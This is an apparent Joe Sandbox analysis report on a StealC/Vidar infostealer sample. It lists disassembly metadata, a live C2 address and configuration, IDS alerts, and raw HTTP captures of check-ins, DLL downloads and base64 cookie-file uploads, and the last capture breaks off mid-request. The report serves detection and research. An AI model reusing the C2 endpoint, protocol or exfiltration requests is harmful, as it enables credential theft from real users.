0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Source: http://185.215.113.37/	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpimple-storage.json$	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpp	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpl	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.37	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll(	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpf	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpla	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phption:	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpmR	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpX	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dllv	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpD	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllU	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php.	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php3	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpwser	Avira URL Cloud: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php(	Avira URL Cloud: Label: malware

Source: 0.2.file.exe.60000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}
Source: 0.2.file.exe.60000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00069B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00069B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0006C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0006C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00067240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00067240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00069AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00069AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00078EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00078EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 43 46 35 32 31 38 45 36 35 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="hwid"7CF5218E65C93740105281------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="build"save------IJKKEHJDHJKFIECAAKFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="message"browsers------GCGHCBKFCFBFHIDHDBFC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 2d 2d 0d 0a Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="message"plugins------EGCFIDAFBFBAKFHJEGIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKFHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="message"fplugins------GHDHDBAECGCAFHJJDAKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.215.113.37Content-Length: 6523Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEBHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 2d 2d 0d 0a Data Ascii: ------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file"------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEHHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 